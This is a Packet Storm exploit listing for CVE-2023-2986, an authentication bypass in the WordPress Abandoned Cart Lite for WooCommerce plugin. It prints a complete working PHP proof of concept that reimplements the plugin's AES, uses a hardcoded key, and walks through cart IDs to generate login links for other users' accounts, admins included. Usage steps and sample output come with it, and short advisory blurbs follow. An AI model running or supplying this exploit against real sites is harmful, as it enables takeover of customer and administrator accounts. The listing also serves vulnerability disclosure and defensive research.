Security
Headlines
HeadlinesLatestCVEs

Headline

WordPress Abandoned Cart Lite For WooCommerce 5.14.2 Authentication Bypass

WordPress Abandoned Cart Lite for WooCommerce plugin versions 5.14.2 and below proof of concept authentication bypass exploit.

Packet Storm
#vulnerability#git#wordpress#php#c++#pdf#auth#docker#ssl
<?php/*# CVE-2023-2986Proof of Concept for vulnerability CVE-2023-2986 in 'Abandoned Cart Lite for WooCommerce' Plugin in WordPress## Related Details- NVD Link : https://nvd.nist.gov/vuln/detail/CVE-2023-2986- Plugin Source : https://github.com/TycheSoftwares/woocommerce-abandoned-cart/- Vulnerable versions : `version <= 5.14.2`- Patched version : `5.15.0`- Github POC Link :`https://github.com/Ayantaker/CVE-2023-2986`## Vulnerability Analysis- A blog link will be added.## Usage```bashsudo apt-get install php-curlphp poc.php http://target_host target_port max_cart_id_to_enumerate``````[*] Enumerating cart ID : 1[+] Authentication Bypass URL for user 'victim' : https://10.39.44.149:443/?wcal_action=checkout_link&validate=pwDHtAFjg2StEr4S2bP9YXkwVdKLqnsLjpkFGythB5ztEF8twVbXFdEP6u7kYwrc[*] Enumerating cart ID : 2[*] Enumerating cart ID : 3[+] Authentication Bypass URL for user 'victim2' : https://10.39.44.149:443/?wcal_action=checkout_link&validate=aQH9pwVjg2TWqKcFmNoipUeBKbYNb5UaEYMYP8DlCz3DqykRdzP3lQgEqID6QsoD[*] Enumerating cart ID : 4[+] Authentication Bypass URL for user 'user' : https://10.39.44.149:443/?wcal_action=checkout_link&validate=XQOexwdjg2TzUjbZJgcYAeUE1p7YdPytSYL3Vkkjb+gISKD02Cpk+3Dx6SUnbe5d[*] Enumerating cart ID : 5```> Entering the URL in browser will give you access to the respective users account. If the wordpress admin user himself has an entry, this will give access to the admin console leading to full compromise of the wordpress server.## DisclaimerThis Proof of Concept (POC) has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Author is not responsible or liable for any misuse of the POC. Use responsibly.*/// Uses the encryption functions sourced from the vulnerable plugin// https://github.com/TycheSoftwares/woocommerce-abandoned-cart/tree/v5.14.2/includes/classes/* Copied from https://github.com/TycheSoftwares/woocommerce-abandoned-cart/blob/v5.14.2/includes/classes/class-wcal-aes.php *//* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  *//*  AES implementation in PHP                                                                     *//*    (c) Chris Veness 2005-2014 www.movable-type.co.uk/scripts                                   *//*    Right of free use is granted for all commercial or non-commercial use under CC-BY licence.  *//*    No warranty of any form is offered.                                                         *//* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  *//** * Abandoned Cart Lite for WooCommerce * * It will handle the common action for the plugin. * * @author  Tyche Softwares * @package Abandoned-Cart-Lite-for-WooCommerce/Encrypt-Decrypt-Data *//** * It will genrate the encryption and decryption for data. * * @since 2.8 */class Wcal_Aes {    /**     * AES Cipher function [�5.1]: encrypt 'input' with Rijndael algorithm     *     * @param input message as byte-array (16 bytes)     * @param w     key schedule as 2D byte-array (Nr+1 x Nb bytes) -     *              generated from the cipher key by keyExpansion()     * @return      ciphertext as byte-array (16 bytes)     * @since 2.8     */    public static function cipher( $input, $w ) {        $Nb    = 4; // block size (in words): no of columns in state (fixed at 4 for AES)        $Nr    = count( $w ) / $Nb - 1; // no of rounds: 10/12/14 for 128/192/256-bit keys        $state = array(); // initialise 4xNb byte-array 'state' with input [�3.4]        for ( $i = 0; $i < 4 * $Nb;        $i++ ) {            $state[ $i % 4 ][ floor( $i / 4 ) ] = $input[ $i ];        }        $state = self::addRoundKey( $state, $w, 0, $Nb );        for ( $round = 1; $round < $Nr; $round++ ) { // apply Nr rounds            $state = self::subBytes( $state, $Nb );            $state = self::shiftRows( $state, $Nb );            $state = self::mixColumns( $state, $Nb );            $state = self::addRoundKey( $state, $w, $round, $Nb );        }        $state = self::subBytes( $state, $Nb );        $state = self::shiftRows( $state, $Nb );        $state = self::addRoundKey( $state, $w, $Nr, $Nb );        $output = array( 4 * $Nb ); // convert state to 1-d array before returning [�3.4]        for ( $i = 0; $i < 4 * $Nb;        $i++ ) {            $output[ $i ] = $state[ $i % 4 ][ floor( $i / 4 ) ];        }        return $output;    }    /**     * Xor Round Key into state S [�5.1.4].     *     * @since 2.8     */    private static function addRoundKey( $state, $w, $rnd, $Nb ) {        for ( $r = 0; $r < 4; $r++ ) {            for ( $c = 0; $c < $Nb;            $c++ ) {                $state[ $r ][ $c ] ^= $w[ $rnd * 4 + $c ][ $r ];            }        }        return $state;    }    /**     * Apply SBox to state S [�5.1.1].     *     * @since 2.8     */    private static function subBytes( $s, $Nb ) {        for ( $r = 0; $r < 4; $r++ ) {            for ( $c = 0; $c < $Nb;            $c++ ) {                $s[ $r ][ $c ] = self::$sBox[ $s[ $r ][ $c ] ];            }        }        return $s;    }    /**     * Shift row r of state S left by r bytes [�5.1.2].     *     * @since 2.8     */    private static function shiftRows( $s, $Nb ) {        $t = array( 4 );        for ( $r = 1; $r < 4; $r++ ) {            for ( $c = 0; $c < 4;            $c++ ) {                $t[ $c ] = $s[ $r ][ ( $c + $r ) % $Nb ]; // shift into temp copy            }            for ( $c = 0; $c < 4;            $c++ ) {                $s[ $r ][ $c ] = $t[ $c ]; // and copy back            }        } // note that this will work for Nb=4,5,6, but not 7,8 (always 4 for AES):        return $s; // see fp.gladman.plus.com/cryptography_technology/rijndael/aes.spec.311.pdf    }    /**     * Combine bytes of each col of state S [�5.1.3].     *     * @since 2.8     */    private static function mixColumns( $s, $Nb ) {        for ( $c = 0; $c < 4; $c++ ) {            $a = array( 4 ); // 'a' is a copy of the current column from 's'            $b = array( 4 ); // 'b' is a�{02} in GF(2^8)            for ( $i = 0; $i < 4; $i++ ) {                $a[ $i ] = $s[ $i ][ $c ];                $b[ $i ] = $s[ $i ][ $c ] & 0x80 ? $s[ $i ][ $c ] << 1 ^ 0x011b : $s[ $i ][ $c ] << 1;            }            // a[n] ^ b[n] is a�{03} in GF(2^8)            $s[0][ $c ] = $b[0] ^ $a[1] ^ $b[1] ^ $a[2] ^ $a[3]; // 2*a0 + 3*a1 + a2 + a3            $s[1][ $c ] = $a[0] ^ $b[1] ^ $a[2] ^ $b[2] ^ $a[3]; // a0 * 2*a1 + 3*a2 + a3            $s[2][ $c ] = $a[0] ^ $a[1] ^ $b[2] ^ $a[3] ^ $b[3]; // a0 + a1 + 2*a2 + 3*a3            $s[3][ $c ] = $a[0] ^ $b[0] ^ $a[1] ^ $a[2] ^ $b[3]; // 3*a0 + a1 + a2 + 2*a3        }        return $s;    }    /**     * Generate Key Schedule from Cipher Key [�5.2].     *     * Perform key expansion on cipher key to generate a key schedule.     *     * @param  key cipher key byte-array (16 bytes).     * @return key schedule as 2D byte-array (Nr+1 x Nb bytes).     * @since 2.8     */    public static function keyExpansion( $key ) {        $Nb = 4; // block size (in words): no of columns in state (fixed at 4 for AES)        $Nk = count( $key ) / 4; // key length (in words): 4/6/8 for 128/192/256-bit keys        $Nr = $Nk + 6; // no of rounds: 10/12/14 for 128/192/256-bit keys        $w    = array();        $temp = array();        for ( $i = 0; $i < $Nk; $i++ ) {            $r       = array( $key[ 4 * $i ], $key[ 4 * $i + 1 ], $key[ 4 * $i + 2 ], $key[ 4 * $i + 3 ] );            $w[ $i ] = $r;        }        for ( $i = $Nk; $i < ( $Nb * ( $Nr + 1 ) ); $i++ ) {            $w[ $i ] = array();            for ( $t = 0; $t < 4;            $t++ ) {                $temp[ $t ] = $w[ $i - 1 ][ $t ];            }            if ( $i % $Nk == 0 ) {                $temp = self::subWord( self::rotWord( $temp ) );                for ( $t = 0; $t < 4;                $t++ ) {                    $temp[ $t ] ^= self::$rCon[ $i / $Nk ][ $t ];                }            } elseif ( $Nk > 6 && $i % $Nk == 4 ) {                $temp = self::subWord( $temp );            }            for ( $t = 0; $t < 4;            $t++ ) {                $w[ $i ][ $t ] = $w[ $i - $Nk ][ $t ] ^ $temp[ $t ];            }        }        return $w;    }    /**     * Apply SBox to 4-byte word w.     *     * @since 2.8     */    private static function subWord( $w ) {        for ( $i = 0; $i < 4;        $i++ ) {            $w[ $i ] = self::$sBox[ $w[ $i ] ];        }        return $w;    }    /**     * Rotate 4-byte word w left by one byte.     *     * @since 2.8     */    private static function rotWord( $w ) {        $tmp = $w[0];        for ( $i = 0; $i < 3;        $i++ ) {            $w[ $i ] = $w[ $i + 1 ];        }        $w[3] = $tmp;        return $w;    }    // sBox is pre-computed multiplicative inverse in GF(2^8) used in subBytes and keyExpansion [�5.1.1]    private static $sBox = array(        0x63,        0x7c,        0x77,        0x7b,        0xf2,        0x6b,        0x6f,        0xc5,        0x30,        0x01,        0x67,        0x2b,        0xfe,        0xd7,        0xab,        0x76,        0xca,        0x82,        0xc9,        0x7d,        0xfa,        0x59,        0x47,        0xf0,        0xad,        0xd4,        0xa2,        0xaf,        0x9c,        0xa4,        0x72,        0xc0,        0xb7,        0xfd,        0x93,        0x26,        0x36,        0x3f,        0xf7,        0xcc,        0x34,        0xa5,        0xe5,        0xf1,        0x71,        0xd8,        0x31,        0x15,        0x04,        0xc7,        0x23,        0xc3,        0x18,        0x96,        0x05,        0x9a,        0x07,        0x12,        0x80,        0xe2,        0xeb,        0x27,        0xb2,        0x75,        0x09,        0x83,        0x2c,        0x1a,        0x1b,        0x6e,        0x5a,        0xa0,        0x52,        0x3b,        0xd6,        0xb3,        0x29,        0xe3,        0x2f,        0x84,        0x53,        0xd1,        0x00,        0xed,        0x20,        0xfc,        0xb1,        0x5b,        0x6a,        0xcb,        0xbe,        0x39,        0x4a,        0x4c,        0x58,        0xcf,        0xd0,        0xef,        0xaa,        0xfb,        0x43,        0x4d,        0x33,        0x85,        0x45,        0xf9,        0x02,        0x7f,        0x50,        0x3c,        0x9f,        0xa8,        0x51,        0xa3,        0x40,        0x8f,        0x92,        0x9d,        0x38,        0xf5,        0xbc,        0xb6,        0xda,        0x21,        0x10,        0xff,        0xf3,        0xd2,        0xcd,        0x0c,        0x13,        0xec,        0x5f,        0x97,        0x44,        0x17,        0xc4,        0xa7,        0x7e,        0x3d,        0x64,        0x5d,        0x19,        0x73,        0x60,        0x81,        0x4f,        0xdc,        0x22,        0x2a,        0x90,        0x88,        0x46,        0xee,        0xb8,        0x14,        0xde,        0x5e,        0x0b,        0xdb,        0xe0,        0x32,        0x3a,        0x0a,        0x49,        0x06,        0x24,        0x5c,        0xc2,        0xd3,        0xac,        0x62,        0x91,        0x95,        0xe4,        0x79,        0xe7,        0xc8,        0x37,        0x6d,        0x8d,        0xd5,        0x4e,        0xa9,        0x6c,        0x56,        0xf4,        0xea,        0x65,        0x7a,        0xae,        0x08,        0xba,        0x78,        0x25,        0x2e,        0x1c,        0xa6,        0xb4,        0xc6,        0xe8,        0xdd,        0x74,        0x1f,        0x4b,        0xbd,        0x8b,        0x8a,        0x70,        0x3e,        0xb5,        0x66,        0x48,        0x03,        0xf6,        0x0e,        0x61,        0x35,        0x57,        0xb9,        0x86,        0xc1,        0x1d,        0x9e,        0xe1,        0xf8,        0x98,        0x11,        0x69,        0xd9,        0x8e,        0x94,        0x9b,        0x1e,        0x87,        0xe9,        0xce,        0x55,        0x28,        0xdf,        0x8c,        0xa1,        0x89,        0x0d,        0xbf,        0xe6,        0x42,        0x68,        0x41,        0x99,        0x2d,        0x0f,        0xb0,        0x54,        0xbb,        0x16,    );    // rCon is Round Constant used for the Key Expansion [1st col is 2^(r-1) in GF(2^8)] [�5.2]    private static $rCon = array(        array( 0x00, 0x00, 0x00, 0x00 ),        array( 0x01, 0x00, 0x00, 0x00 ),        array( 0x02, 0x00, 0x00, 0x00 ),        array( 0x04, 0x00, 0x00, 0x00 ),        array( 0x08, 0x00, 0x00, 0x00 ),        array( 0x10, 0x00, 0x00, 0x00 ),        array( 0x20, 0x00, 0x00, 0x00 ),        array( 0x40, 0x00, 0x00, 0x00 ),        array( 0x80, 0x00, 0x00, 0x00 ),        array( 0x1b, 0x00, 0x00, 0x00 ),        array( 0x36, 0x00, 0x00, 0x00 ),    );}function urs( $a, $b ) {        $a  = intval( $a ) & 0xffffffff;        $b &= 0x1f; // (bounds check)        if ( $a & 0x80000000 && $b > 0 ) { // if left-most bit set.            $a     = ( $a >> 1 ) & 0x7fffffff; // right-shift one bit & clear left-most bit.            $check = $b - 1;            $a     = $a >> ( $check ); // remaining right-shifts.        } else { // otherwise.            $a = ( $a >> $b ); // use normal right-shift.        }        return $a;    }   function encrypt( $plaintext, $password, $nBits ) {        $blockSize = 16; // block size fixed at 16 bytes / 128 bits (Nb=4) for AES        if ( ! ( $nBits == 128 || $nBits == 192 || $nBits == 256 ) ) {            return ''; // standard allows 128/192/256 bit keys        }        // note PHP (5) gives us plaintext and password in UTF8 encoding!        // use AES itself to encrypt password to get cipher key (using plain password as source for        // key expansion) - gives us well encrypted key        $nBytes  = $nBits / 8; // no bytes in key        $pwBytes = array();        for ( $i = 0; $i < $nBytes;        $i++ ) {            $pwBytes[ $i ] = ord( substr( $password, $i, 1 ) ) & 0xff;        }        $key = Wcal_Aes::cipher( $pwBytes, Wcal_Aes::keyExpansion( $pwBytes ) );        $key = array_merge( $key, array_slice( $key, 0, $nBytes - 16 ) ); // expand key to 16/24/32 bytes long        // initialise 1st 8 bytes of counter block with nonce (NIST SP800-38A �B.2): [0-1] = millisec,        // [2-3] = random, [4-7] = seconds, giving guaranteed sub-ms uniqueness up to Feb 2106        $counterBlock = array();        $nonce        = floor( microtime( true ) * 1000 ); // timestamp: milliseconds since 1-Jan-1970        $nonceMs      = $nonce % 1000;        $nonceSec     = floor( $nonce / 1000 );        $nonceRnd     = floor( rand( 0, 0xffff ) );        for ( $i = 0; $i < 2;        $i++ ) {            $counterBlock[ $i ] = urs( $nonceMs, $i * 8 ) & 0xff;        }        for ( $i = 0; $i < 2;        $i++ ) {            $counterBlock[ $i + 2 ] = urs( $nonceRnd, $i * 8 ) & 0xff;        }        for ( $i = 0; $i < 4;        $i++ ) {            $counterBlock[ $i + 4 ] = urs( $nonceSec, $i * 8 ) & 0xff;        }        // and convert it to a string to go on the front of the ciphertext        $ctrTxt = '';        for ( $i = 0; $i < 8;        $i++ ) {            $ctrTxt .= chr( $counterBlock[ $i ] );        }        // generate key schedule - an expansion of the key into distinct Key Rounds for each round        $keySchedule = Wcal_Aes::keyExpansion( $key );        // print_r($keySchedule);        $blockCount = ceil( strlen( $plaintext ) / $blockSize );        $ciphertxt  = array(); // ciphertext as array of strings        for ( $b = 0; $b < $blockCount; $b++ ) {            // set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)            // done in two stages for 32-bit ops: using two words allows us to go past 2^32 blocks (68GB)            for ( $c = 0; $c < 4;            $c++ ) {                $counterBlock[ 15 - $c ] = urs( $b, $c * 8 ) & 0xff;            }            for ( $c = 0; $c < 4;            $c++ ) {                $counterBlock[ 15 - $c - 4 ] = urs( $b / 0x100000000, $c * 8 );            }            $cipherCntr = Wcal_Aes::cipher( $counterBlock, $keySchedule ); // -- encrypt counter block --            // block size is reduced on final block            $blockLength = $b < $blockCount - 1 ? $blockSize : ( strlen( $plaintext ) - 1 ) % $blockSize + 1;            $cipherByte  = array();            for ( $i = 0; $i < $blockLength; $i++ ) { // -- xor plaintext with ciphered counter byte-by-byte --                $cipherByte[ $i ] = $cipherCntr[ $i ] ^ ord( substr( $plaintext, $b * $blockSize + $i, 1 ) );                $cipherByte[ $i ] = chr( $cipherByte[ $i ] );            }            $ciphertxt[ $b ] = implode( '', $cipherByte ); // escape troublesome characters in ciphertext        }        // implode is more efficient than repeated string concatenation        $ciphertext = $ctrTxt . implode( '', $ciphertxt );        $ciphertext = base64_encode( $ciphertext );        return $ciphertext;    }/*******************************************************************************/function fetch_url_content($url) {    $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Follow redirects    curl_setopt($ch, CURLOPT_HEADER, true);    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);    $output = curl_exec($ch);    if (curl_errno($ch)) {        echo '[-] Error:' . curl_error($ch)."\n";        return False;    }    // Get the status code    $statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);    // Get header size    $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);    // Separate the headers from the output    $header = substr($output, 0, $headerSize);    $body = substr($output, $headerSize);    curl_close($ch);        // Return headers, body and status code    return [        'header' => $header,        'body' => $body,        'status_code' => $statusCode    ];}if ($argc != 4) {    echo "[-] Usage: php poc.php http://target_host target_port max_cart_id_to_enumerate\n";    exit(1);}$host = $argv[1];$port = $argv[2];// The maximum cart ID to enumerate$max_id = intval($argv[3]);function exploit_link($host,$port,$id,$encryption_key){    $validate_val = $id.'&url='.$host.':'.$port.'/checkout/';    $encrypted_val = encrypt($validate_val, $encryption_key, 256);    $url = $host.':'.$port.'/?wcal_action=checkout_link&user_email=test&validate='.$encrypted_val;    $result = fetch_url_content($url);    if ($result == False){        return False;    }        if ($result['body'] == 'Link expired') {        return False;    } else {        // Looking for username        preg_match('/Set-Cookie:.*wordpress_.*=(.*?)%/', $result['header'], $matches);        $username = isset($matches[1]) ? $matches[1] : null;        if ($username){            echo "[+] Authentication Bypass URL for user '".$username."' : ".$url."\n";            return True;        }else{            return False;        }            }}for ($id = 1; $id <= $max_id; $id++) {    echo "[*] Enumerating cart ID : ".$id."\n";    // Hardcoded Encryption key    $encryption_key = 'qJB0rGtIn5UB1xG03efyCp';    $res = exploit_link($host,$port,$id,$encryption_key);    if (! $res){        // In the docker instance I tried, it had empty encryption key for somereason        $encryption_key = '';        $res = exploit_link($host,$port,$id,$encryption_key);    }}?>

Related news

Critical Flaw Found in WordPress Plugin for WooCommerce Used by 30,000 Websites

A critical security flaw has been disclosed in the WordPress "Abandoned Cart Lite for WooCommerce" plugin that's installed on more than 30,000 websites. "This vulnerability makes it possible for an attacker to gain access to the accounts of users who have abandoned their carts, who are typically customers but can extend to other high-level users when the right conditions are met," Defiant's

WordPress Abandoned Cart Lite For WooCommerce 5.14.2 Authentication Bypass

WordPress Abandoned Cart Lite for WooCommerce plugin versions 5.14.2 and below suffer from an authentication bypass vulnerability.

CVE-2023-2986: woocommerce-ac.php in woocommerce-abandoned-cart/trunk – WordPress Plugin Repository

The Abandoned Cart Lite for WooCommerce plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 5.14.2. This is due to insufficient encryption on the user being supplied during the abandoned cart link decode through the plugin. This allows unauthenticated attackers to log in as users who have abandoned the cart, which users are typically customers.

Packet Storm: Latest News

CUPS IPP Attributes LAN Remote Code Execution